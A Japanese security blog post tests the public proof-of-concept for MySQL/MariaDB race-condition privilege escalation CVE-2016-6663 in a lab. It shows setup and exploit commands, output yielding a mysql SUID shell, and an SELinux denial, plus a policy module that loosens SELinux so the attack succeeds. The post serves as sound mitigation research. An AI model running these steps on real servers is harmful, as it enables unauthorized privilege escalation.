現在位置: ホーム / セキュリティ ブログ / MySQLの脆弱性情報(CVE-2016-6663)のPoCとSELinux

MySQLの脆弱性情報(CVE-2016-6663)のPoCとSELinux

MySQLの脆弱性情報(CVE-2016-6662, CVE-2016-6663, CVE-2016-6664)のPoCが公開されていますので、これらを検証してどのように脆弱性が利用できるのか、また『SELinuxでも防げない』という情報は本当かどうかを実際に見てみます。今回は「CVE-2016-6663」について検証します。

こんにちは。SIOS OSS/セキュリティ エバンジェリストの面です。

今回は、今年の9月に公開されて(色々な意味で)話題になった、MySQLの脆弱性情報(CVE-2016-6662, CVE-2016-6663, CVE-2016-6664)のPoCが公開されていますので、これを検証してどのように脆弱性が利用できるのか、また『SELinuxでも防げない』という情報は本当かどうかを実際に見てみます。


MySQLのCVE(CVE-2016-6662, CVE-2016-6663, CVE-2016-6664)に関する一連の騒動

9/12にMySQLのCVE(CVE-2016-6662)が公開されました。これは「ゼロデイの脆弱性情報」という誤報がInternet上に飛び交ってしまい、非常に注目を浴びつつ、MySQLの専門家などの指摘を受けて脆弱性情報を公開した大本の記述でも対象バージョンの記述が変わったりし、情報が右往左往してしまったために、余計に印象に残っている方もいらっしゃると思います。

現時点で判明した範囲では「その当時に出ていたMySQLの最新バージョンでは修正されていたもの」になり、当初のバージョン情報は誤報だったということがわかっています。しかし、「誤報だ」という情報もあまり公開されていないため、誤解してるユーザも多いと思われます。

今回は、その際に「CVE-2016-6663(後程PoCを公開)」とされていたものの情報が公開されたことを受け、実際にPoCをやってみて、どのような現象が起きるかを見ていきます。


CVE-2016-6663の簡単なまとめ

MariaDB の5.5.52/10.1.18/10.0.28より前のバージョン

MySQL の5.5.51/5.6.32/5.7.14以前のバージョン

には競合状態(Race Condition)の問題が有り、DBに関して(CREATE/INSERT/SELECTが与えられている)低いレベルのアカウントが、その権限をデータベースシステムユーザ(通常は'mysql')の権限まで上げて、任意のコードを実行することが可能です。


PoC(CVE-2016-6663)

0. 前提条件

参考にした資料は

https://legalhackers.com/advisories/MySQL-Maria-Percona-PrivEscRace-CVE-2016-6663-5616-Exploit.html

になります。

  1. まず前提としてMySQLの動作しているサーバ上で

    [root@cent7 ~]# adduser attacker6663
    [root@cent7 ~]# passwd attacker6663
    

    として、攻撃用の一般ユーザを作成します。

  2. mysql内に攻撃用のテストDB(pocdb6663)を作成します。

    [root@cent7 ~]# mysql -u root -p
    Enter password:
    Welcome to the MySQL monitor.  Commands end with ; or \g.
    Your MySQL connection id is 1
    --snip--
    mysql> create database pocdb6663;
    Query OK, 1 row affected (0.00 sec)
    
  3. mysql一般ユーザ(OSと同じ名前でattacker6663@localhost, パスワードは"attack")を作成します。

    mysql> CREATE USER attacker6663@localhost identified by 'attack';
    Query OK, 0 rows affected (0.00 sec)
    
  4. attacker6663@localhostに、pocdb6663に対しての権限を与えます。

    mysql> grant select,insert,create,drop on pocdb6663.* to 'attacker6663'@'localhost';
    Query OK, 0 rows affected (0.00 sec)
    
  5. attacker6663@localhostの権限を確認します。確認後、mysqlのCLIからexitします。

    mysql> show grants for 'attacker6663'@'localhost';
    +---------------------------------------------------------------------------------------------------------------------+
    | Grants for attacker6663@localhost                                                                                   |
    +---------------------------------------------------------------------------------------------------------------------+
    | GRANT USAGE ON *.* TO 'attacker6663'@'localhost' IDENTIFIED BY PASSWORD '*0DDDDDCCCC' |
    | GRANT SELECT, INSERT, CREATE, DROP ON `pocdb6663`.* TO 'attacker6663'@'localhost'                                   |
    +---------------------------------------------------------------------------------------------------------------------+
    2 rows in set (0.00 sec)
    
    mysql> exit
    
  6. 念の為、attacker6663(OS)ユーザでmysqlコマンドを用いて、attacker6663@localhost(mysql)ユーザがpocdb6663に対してどういう権限を持っているのかを表示出来ることを確認します。

    [attacker6663@cent7 ~]$ mysql -uattacker6663 -hlocalhost pocdb6663 -e 'show grants;' -p
    Enter password: 
    +-----------------------------------------------------------------------------------+
    | Grants for attacker6663@localhost                                                 |
    +-----------------------------------------------------------------------------------+
    | GRANT USAGE ON *.* TO 'attacker6663'@'localhost' IDENTIFIED BY PASSWORD   |
    | GRANT SELECT, INSERT, CREATE, DROP ON `pocdb6663`.* TO 'attacker6663'@'localhost' |
    +-----------------------------------------------------------------------------------+
    
  7. Race Conditionを悪用するサンプルコードをattacker6663ユーザで作成し、コンパイルします。

    [attacker6663@cent7 cve-2016-6663]$ gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclient
    [attacker6663@cent7 cve-2016-6663]$ ls
    mysql-privesc-race  mysql-privesc-race.c
    
  8. attacker6663ユーザで、/var/lib/mysql/mysql以下のディレクトリにアクセスします。"mysql"ユーザ所有のディレクトリになっていて、読み込み権限がないため、attacker6663ユーザでは「許可がありません」になります。

    [attacker6663@cent7 cve-2016-6663]$ ls -l /var/lib/mysql
    -rw-r--r--. 1 mysql mysql      487 11月 30 11:06 RPM_UPGRADE_HISTORY
    --snip--
    drwx--x--x. 2 mysql mysql     4096 11月 30 11:02 mysql
    srwxrwxrwx. 1 mysql mysql        0 12月 20 23:47 mysql.sock
    drwx------. 2 mysql mysql     4096 12月 21 00:13 pocdb6663
    

1. SELinuxをPermissiveにした状態でPoCを行う

まずは、SELinuxをPermissiveにした状態で、Race Conditionを悪用するサンプルコードが動作するとどうなるかを確認します。

[root@cent7 ~]# setenforce 0
[root@cent7 ~]# getenforce
Permissive
  1. attacker6663ユーザで、コンパイルしたサンプルコードを実行します。しばらく待った後に[mysql_suid_shell.MYD-4.2$ ]というshellが開けば成功です。

    [attacker6663@cent7 cve-2016-6663]$ ./mysql-privesc-race attacker6663 [attacker6663のパスワード] localhost pocdb6663
    
    MySQL/Percona/MariaDB - Privilege Escalation / Race Condition PoC Exploit
    mysql-privesc-race.c (ver. 1.0)
    
    For testing purposes only. Do no harm.
    
    Discovered/Coded by: Dawid Golunski 
    http://legalhackers.com
    
    -- snip --
    
    [+] Entering the race loop... Hang in there...
    ->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->
    [+] Bingo! Race won (took 17274 tries) ! Check out the mysql SUID shell: 
    
    -rwsrwxrwx. 1 mysql attacker6663 960376 12月 21 00:06 /tmp/mysql_privesc_exploit/mysql_suid_shell.MYD
    
    [+] Spawning the mysql SUID shell now... 
        Remember that from there you can gain root with vuln CVE-2016-6662 or CVE-2016-6664 :)
    
    mysql_suid_shell.MYD-4.2$
    
  2. "id"コマンドで確認すると、ユーザID: mysqlでshellが開いていることがわかります。このアカウントで、ファイルをmysqlユーザで作成したり、確認・改竄したりすることが出来ます。

    mysql_suid_shell.MYD-4.2$ id
    uid=1003(attacker6663) gid=1003(attacker6663) euid=27(mysql) groups=1003(attacker6663) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
    
    mysql_suid_shell.MYD-4.2$ id -Z
    unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
    
    mysql_suid_shell.MYD-4.2$ touch /tmp/test_by_attacker6663
    mysql_suid_shell.MYD-4.2$ ls -l /tmp/test_by_attacker6663 
    -rw-rw-rw-. 1 mysql attacker6663 0 12月 21 03:42 /tmp/test_by_attacker6663
    
    mysql_suid_shell.MYD-4.2$ ls -l /var/lib/mysql/mysql/user.*
    -rw-------. 1 mysql mysql  1364 12月 21 00:04 /var/lib/mysql/mysql/user.MYD
    -rw-------. 1 mysql mysql  2048 12月 21 00:04 /var/lib/mysql/mysql/user.MYI
    -rw-------. 1 mysql mysql 10684 11月 30 11:02 /var/lib/mysql/mysql/user.frm
    

2. SELinuxをEnforcing(有効)にした状態でPoCを行う

次にSELinuxをEnforcingにした状態で、Race Conditionを悪用するサンプルコードが動作するとどうなるかを確認します。

[root@cent7 ~]# setenforce 1
[root@cent7 ~]# getenforce
Enforcing
  1. 前節と同様に、attacker6663ユーザでサンプルコードを実行します。出力されるログ上では、exploit用のテンポラリディレクトリ"/tmp/mysql_privesc_exploit"の作成には成功しますが、中にテーブル"exploit_table"を作成しようとしている時に失敗しているようです。

    [attacker6663@cent7 cve-2016-6663]$ ./mysql-privesc-race attacker6663 [attacker6663のパスワード] localhost pocdb6663
    
    MySQL/Percona/MariaDB - Privilege Escalation / Race Condition PoC Exploit
    mysql-privesc-race.c (ver. 1.0)
    
    CVE-2016-6663 / CVE-2016-5616
    
    For testing purposes only. Do no harm.
    
    Discovered/Coded by:
    
    Dawid Golunski 
    http://legalhackers.com
    
    
    [+] Starting the exploit as: 
    uid=1003(attacker6663) gid=1003(attacker6663) groups=1003(attacker6663) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
    
    [+] Connecting to the database `pocdb6663` as attacker6663@localhost
    
    [+] Creating exploit temp directory /tmp/mysql_privesc_exploit
    
    [+] Creating mysql tables 
    
    DROP TABLE IF EXISTS exploit_table 
    DROP TABLE IF EXISTS mysql_suid_shell 
    CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/mysql_privesc_exploit' 
    Can't create/write to file '/tmp/mysql_privesc_exploit/exploit_table.MYD' (Errcode: 13 - Permission denied)
    
  2. SELinuxでどのように拒否されたかを見るため、/var/log/audit/audit.logを確認します。mysqld_t(mysqldプロセスのドメイン)がuser_tmp_tラベルのディレクトリ(/tmp/mysql_privesc_exploit)に書き込みしようとしたため拒否された旨が記載されています。

    type=AVC msg=audit(1482260071.030:968): avc:  denied  { write } for  pid=3060 comm="mysqld" name="mysql_privesc_exploit" dev="dm-0" ino=1401032 scontext=system_u:system_r:mysqld_t:s0 tcontext=unconfined_u:object_r:user_tmp_t:s0 tclass=dir
    type=SYSCALL msg=audit(1482260071.030:968): arch=c000003e syscall=2 success=no exit=-13 a0=7f106915bac0 a1=242 a2=1b0 a3=79 items=0 ppid=1531 pid=3060 auid=4294967295 uid=27 gid=27 euid=27 suid=27 fsuid=27 egid=27 sgid=27 fsgid=27 tty=(none) ses=4294967295 comm="mysqld" exe="/usr/sbin/mysqld" subj=system_u:system_r:mysqld_t:s0 key=(null)
    

CVE-2016-6663のExploitをSELinuxで防げたことの考察

Race Conditionを悪用するサンプルコードです。詳しい内容は直接ソースコードをご覧になったほうが早いですが

mysql> REPAIR TABLE `poctab1`;
+----------------+--------+----------+----------+
| Table          | Op     | Msg_type | Msg_text |
+----------------+--------+----------+----------+
| testdb.poctab1 | repair | status   | OK       |
+----------------+--------+----------+----------+

とやった時のRece Conditionを悪用します。この際

  1. 攻撃者のアカウント(attacker6663)で書き込みできる所を作業用ディレクトリ(tmp)として

  2. exploitableな作業用テーブルを作成し(既にある場合は削除してから作成)

  3. その作業用テーブルを0660にする

というのを繰り返し行っていますが、SELinuxで防がれたのは、(2)の所になります。SELinuxを有効にした場合には、/tmpなど一般ユーザが書き込めるテンポラリディレクトリのラベルは"user_tmp_t"などが付与されますが、これにはmysqld_tドメインが書き込み出来ないためです。

そのため、mysqld_tが書き込みできて、かつ一般ユーザが書き込みできるディレクトリを用いれば攻撃は成功しそうです。試しに

policy_module(mysqld_allow,1.0.0)

require {
     type mysqld_t;
     type user_tmp_t;
};

#============= mysqld_t ==============
allow mysqld_t user_tmp_t:dir write;
allow mysqld_t user_tmp_t:file unlink;
allow mysqld_t user_tmp_t:lnk_file { read rename };

のようにmysqld_tにuser_tmp_tディレクトリ・ファイルへの書き込み権限を加えると、SELinuxが有効(Enforcing)の状態でも攻撃が成功します。

逆に言えば、mysqld_tと一般ユーザの両方が書き込みできるディレクトリ・ファイルが無ければ、この攻撃は成功しないということになります。

まとめ

今回は、CVE-2016-6663のExploitを実行した際に何が起きるかを確認し、SELinuxを用いてどのように防げるのかを確認しました。

結論だけ言うと「攻撃手法自体はSELinuxで防げるものでは無いが、ディレクトリ・ファイルを媒介にしている攻撃である限りは、特殊な設定(MySQLでも一般ユーザでも書き込めるようなテンポラリディレクトリを作る)を行っていなければ攻撃の途中で防げる」というものになります。


OSSに関するお困りごとは サイオス OSSよろず相談室まで

サイオスOSSよろず相談室 では、OSSを利用する中で発生する問題に対し、長年培ってきた技術力・サポート力をもって企業のOSS活用を強力に支援します。Red Hat Enterprise Linux のほか、CentOS をご利用されている環境でのサポートも提供いたします。

OSSよろず相談室

サイオスOSSよろず相談室(2)

問い合わせボタン

最新の記事
AppArmorの脆弱性( CVE-2017-6507 ) 2017年03月26日
linux kernelの脆弱性( CVE-2017-7261 ) 2017年03月25日
Sambaに共有以外のファイルにアクセスされる脆弱性(CVE-2017-2619) 2017年03月24日
Subscription-managerの脆弱性( CVE-2017-2663 ) 2017年03月22日
binutilsに複数の脆弱性( CVE-2017-6965, CVE-2017-6966, CVE-2017-6969, CVE-2017-7209 , CVE-2017-7210 , CVE-2017-7223, CVE-2017-7224, CVE-2017-7225, CVE-2017-7226, CVE-2017-7227 ) 2017年03月22日
linux kernelの脆弱性( CVE-2017-7187 ) 2017年03月21日
linux kernelの脆弱性( CVE-2017-6353 , CVE-2017-5986 ) 2017年03月21日
Ubuntu 16.10のkernelの脆弱性( CVE-2017-7184 ) 2017年03月20日
pcreの脆弱性( CVE-2017-7186 ) 2017年03月20日
binutilsの脆弱性( CVE-2017-6965 , CVE-2017-6966 , CVE-2017-6969 ) 2017年03月19日
MySQL(MariaDB) 5.5/5.6のmysql clientの脆弱性( Riddle : CVE-2017-3305 ) 2017年03月18日
linux kernelの脆弱性( CVE-2017-6951 ) 2017年03月17日
Apache Struts2の脆弱性 ( CVE-2017-5638 ) 2017年03月15日
linux kernelの脆弱性( CVE-2017-6874 ) 2017年03月15日
tomcatに情報漏えいの脆弱性( CVE-2016-8747 ) 2017年03月14日
QEMUの脆弱性( CVE-2016-9603 ) (Xen: XSA-211) 2017年03月14日
lxcの脆弱性(CVE-2017-5985) 2017年03月10日
wgetの脆弱性(CVE-2017-6508) 2017年03月08日
linux kernelに特権昇格の脆弱性( CVE-2017-2636 ) 2017年03月08日
( PoC ) linux kernel特権昇格脆弱性( CVE-2017-6074 ) の暫定回避策の確認 2017年03月06日
linux kernelの脆弱性( CVE-2016-9083 , CVE-2016-9084 ) 2017年03月03日
linux kernelに複数の脆弱性( CVE-2017-6345 , CVE-2017-6346 , CVE-2017-6347 , CVE-2017-6348 ) 2017年03月01日
Katello/Foremanによる運用管理 (Part4) 2017年02月28日
util-linux / coreutils の脆弱性(CVE-2017-2616) 2017年02月24日
linux kernelの脆弱性( CVE-2017-6214 ) 2017年02月24日
linux kernelに特権昇格の脆弱性( CVE-2017-6074 ) 2017年02月23日
curlの脆弱性 ( CVE-2017-2629 ) 2017年02月22日
QEMUの脆弱性( CVE-2017-2620 ) (Xen: XSA-209) 2017年02月22日
Tomcatの脆弱性 ( CVE-2017-6056 ) 2017年02月21日
Katello/Foremanによる運用管理 (Part3) 2017年02月21日
OpenSSLの脆弱性 ( CVE-2017-3733 ) 2017年02月16日
linux kernelの脆弱性( CVE-2017-6001 , (was CVE-2016-6786) ) 2017年02月16日
QEMUの脆弱性( CVE-2017-2630 ) 2017年02月15日
glibcの脆弱性(CVE-2015-8982, CVE-2015-8983, CVE-2015-8984) 2017年02月15日
vimの脆弱性 ( CVE-2017-5953 ) 2017年02月14日
Oracle Javaの脆弱性(Oracle Critical Patch Update Advisory - January 2017) 2017年02月14日
libxml2の脆弱性(CVE-2017-5969) 2017年02月13日
「linux kernel-4.9」でのLSMモジュールについて 2017年02月13日
linux kernelの脆弱性( CVE-2017-5970 ) 2017年02月13日
linux kernelの脆弱性( CVE-2016-8636 ) 2017年02月12日
bind 9 に設定依存の脆弱性 ( CVE-2017-3135 ) 2017年02月09日
bashの自動補完機能の脆弱性( CVE-2017-5932 ) 2017年02月08日
spiceの脆弱性( CVE-2016-9577 , CVE-2016-9578 ) 2017年02月08日
QEMUの脆弱性( CVE-2017-5898 ) 2017年02月08日
linux kernelの脆弱性( CVE-2017-5897 ) 2017年02月08日
linux kernelの脆弱性( CVE-2016-10208 ) 2017年02月06日
ntfs-3gの脆弱性(CVE-2017-0358) 2017年02月02日
QEMUの脆弱性( CVE-2017-2615 ) 2017年02月02日
tcpdumpに複数の脆弱性(CVE-2016-7922 等) 2017年01月30日
libgdに複数の脆弱性情報 (CVE-2016-9317, CVE-2016-6912, CVE-2016-10167, CVE-2016-10168, CVE-2016-10169) 2017年01月29日
OpenSSLに複数の脆弱性 ( CVE-2017-3730 , CVE-2017-3731 , CVE-2017-3732 ) 2017年01月27日
RunCに関しての脆弱性( CVE-2016-9962 )のPoCとSELinuxによるリスクの軽減 2017年01月26日
systemdの重要な脆弱性( CVE-2016-10156 ) 2017年01月25日
linux kernelの複数の脆弱性( CVE-2016-10153, CVE-2016-10154, CVE-2017-5547, CVE-2017-5548, CVE-2017-5549, CVE-2017-5550, CVE-2017-5551) 2017年01月25日
Katello/Foremanによる運用管理 (Part2) 2017年01月24日
linux kernel(KVMを有効にしている場合)で複数の脆弱性( CVE-2016-10150, CVE-2017-2583 ) 2017年01月21日
OpenSCAP 1.2.13のリリース情報 2017年01月16日
Oracle Javaの脆弱性(CVE-2016-5542, CVE-2016-5554, CVE-2016-5582, CVE-2016-5597, CVE-2016-5573) 2017年01月13日
bind に複数の脆弱性 ( CVE-2016-9131 , CVE-2016-9147 , CVE-2016-9444 , CVE-2016-9778 ) 2017年01月12日
Dockerに特権昇格の脆弱性 ( CVE-2016-9962 ) 2017年01月11日
最新の記事 - もっと...